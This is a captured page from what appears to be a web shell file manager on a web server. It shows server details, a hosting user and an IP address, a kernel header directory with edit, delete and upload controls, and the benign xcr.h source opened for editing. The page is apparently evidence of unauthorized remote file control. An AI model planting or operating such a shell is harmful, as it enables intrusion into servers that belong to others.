[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.20
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
src
/
kernels
/
4.18.0-553.63.1.el8_10.x86_64
/
arch
/
x86
/
include
/
asm
/
fpu
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 api.h
4,697 B
SET
[ EDIT ]
|
[ DEL ]
📄 internal.h
0 B
SET
[ EDIT ]
|
[ DEL ]
📄 regset.h
637 B
SET
[ EDIT ]
|
[ DEL ]
📄 sched.h
2,065 B
SET
[ EDIT ]
|
[ DEL ]
📄 signal.h
1,409 B
SET
[ EDIT ]
|
[ DEL ]
📄 types.h
14,261 B
SET
[ EDIT ]
|
[ DEL ]
📄 xcr.h
793 B
SET
[ EDIT ]
|
[ DEL ]
📄 xstate.h
4,441 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: xcr.h
/* SPDX-License-Identifier: GPL-2.0 */ #ifndef _ASM_X86_FPU_XCR_H #define _ASM_X86_FPU_XCR_H #define XCR_XFEATURE_ENABLED_MASK 0x00000000 #define XCR_XFEATURE_IN_USE_MASK 0x00000001 static inline u64 xgetbv(u32 index) { u32 eax, edx; asm volatile("xgetbv" : "=a" (eax), "=d" (edx) : "c" (index)); return eax + ((u64)edx << 32); } static inline void xsetbv(u32 index, u64 value) { u32 eax = value; u32 edx = value >> 32; asm volatile("xsetbv" :: "a" (eax), "d" (edx), "c" (index)); } /* * Return a mask of xfeatures which are currently being tracked * by the processor as being in the initial configuration. * * Callers should check X86_FEATURE_XGETBV1. */ static inline u64 xfeatures_in_use(void) { return xgetbv(XCR_XFEATURE_IN_USE_MASK); } #endif /* _ASM_X86_FPU_XCR_H */